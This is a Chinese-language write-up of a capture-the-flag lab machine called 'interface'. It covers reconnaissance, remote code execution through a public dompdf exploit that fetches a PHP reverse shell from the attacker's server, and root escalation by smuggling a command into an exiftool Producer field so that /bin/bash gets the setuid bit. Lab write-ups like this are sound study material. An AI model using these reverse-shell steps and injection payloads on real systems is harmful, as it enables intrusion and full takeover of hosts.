靶机—— interface

admin 2023年3月29日13:05:25评论79 views字数 2893阅读9分38秒阅读模式

靶机—— interface

信息搜集

nmap扫描端口发现开放的22和80

PORT   STATE SERVICE REASON22/tcp open  ssh     syn-ack ttl 6380/tcp open  http    syn-ack ttl 63
发现支持head方法80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)|_http-server-header: nginx/1.14.0 (Ubuntu)|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA| http-methods: |_ Supported Methods: GET HEAD|_http-title: Site MaintenanceService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问的ip的80端口,发现了响应头中的子域名 prd.m.rendering-api.interface.htb

靶机—— interface

绑定到本地host

echo "10.10.11.200 prd.m.rendering-api.interface.htb" >> /etc/hosts

对其进行一下目录扫描

靶机—— interface

对vendor目录再详细扫描一下

靶机—— interface

发现了可疑的目录 dompdf , 经过谷歌搜索后知道。dompdf工具书将php5,html转换pdf的工具。

这里介绍一下wfuzz的相关参数

--hc/hl/hw/hh : Hide responses with the specified code/lines/words/chars 可以使用-hh 忽略响应chars指定值的结果。那么进行wfuzz扫描一下根目录。

└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 100  -u http://prd.m.rendering-api.interface.htb/FUZZ --hh 0
=====================================================================ID Response Lines Word Chars Payload =====================================================================
000000078: 404 0 L 3 W 50 Ch "api" 000001518: 403 1 L 2 W 15 Ch "vendor" 000004255: 404 1 L 3 W 16 Ch "http://prd.m.rendering-api.interface.htb/"

发现了api这个目录,使用GET方式没有发现内容,使用POST再扫一下,发现了html2pdf

靶机—— interface

那么对html2pdf的接口爆破一下参数,发现了html和status_text俩个参数

└─# arjun -m JSON -u http://prd.m.rendering-api.interface.htb/api/html2pdf     _   /_| _ '                                                                                                                                (  |/ /(//) v2.2.1                                                                                                                          _/                                                                                                                                [*] Probing the target for stability[*] Analysing HTTP response for anomalies[*] Analysing HTTP response for potential parameter names[+] Heuristic scanner found 3 parameters[*] Logicforcing the URL endpoint[✓] parameter detected: status_text, based on: param name reflection[✓] parameter detected: html, based on: http code[+] Parameters found: status_text, html

经过实际测试后,html参数是可以用的。

靶机—— interface

dompdf的RCE

对于dompdf这个模块,我在github上找到了一些rce和lfi的漏洞。

RCE exploit for dompdf[1]

靶机—— interface

然后我们将使用git上的脚本,来进行反弹shell。

首先修改 exloit/exploit.css ,把localhost改成自己的ip 。

然后把 exloit/exploit_font.php 改成反弹shell的php代码。

在线生成反弹shell代码[2]

然后开启php的监听服务,以及nc的监听shell。

└─# python -m http.server 80
└─# nc -lvnp 4554

可以看到回显,俩个文件确实被访问了

靶机—— interface

对我们的url进行一下md5加密

│└─# echo "http://10.10.16.4:80/exploit_font.php" -n  | md5sum635d31bfc3b9a7aa0072f0c85d06cf47  -

访问缓存的 php“font”文件并执行 反弹shell。文件的路径名为:

http://prd.m.rendering-api.interface.htb/dompdf/lib/fonts/exploitfont_normal_635d31bfc3b9a7aa0072f0c85d06cf47.php

反弹shell成功

靶机—— interface

提权root

发现了dev的账户

cat /etc/passwd | grep bashroot:x:0:0:root:/root:/bin/bashdev:x:1000:1000:,,,:/home/dev:/bin/bash

上传pspy64工具到靶机,运行看一下进程。发现了一个root权限运行的,访问用户的sh文件,很可疑

靶机—— interface

使用cat 查看一下。

靶机—— interface

这是chatgpt对于脚本的解释

靶机—— interface

因为exiftool 从meta_producer字段提取内容,所以可以输入一个恶意payload进去。

www-data@interface:/tmp$ cat > /dev/shm/0le.sh <<EOF        cat > /dev/shm/0le.sh <<EOF> #!/bin/bash#!/bin/bash> chmod +s /bin/bashchmod +s /bin/bash> EOFEOF
chmod +x /dev/shm/0le.sh
touch /tmp/0le
/usr/bin/exiftool -Producer='a[$(/dev/shm/0le.sh>&2)]+42' /tmp/0le
ls -al /bin/bash-rwsr-sr-x 1 root root 1113504 Apr 18 2022 /bin/bash成功setuid,直接bash -p即可root

靶机—— interface

References

[1] RCE exploit for dompdf: https://github.com/positive-security/dompdf-rce
[2] 在线生成反弹shell代码: https://www.0le.cn/reverse/


原文始发于微信公众号(靶机狂魔):靶机—— interface

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月29日13:05:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机—— interfacehttp://cn-sec.com/archives/1635811.html

发表评论

匿名网友 填写信息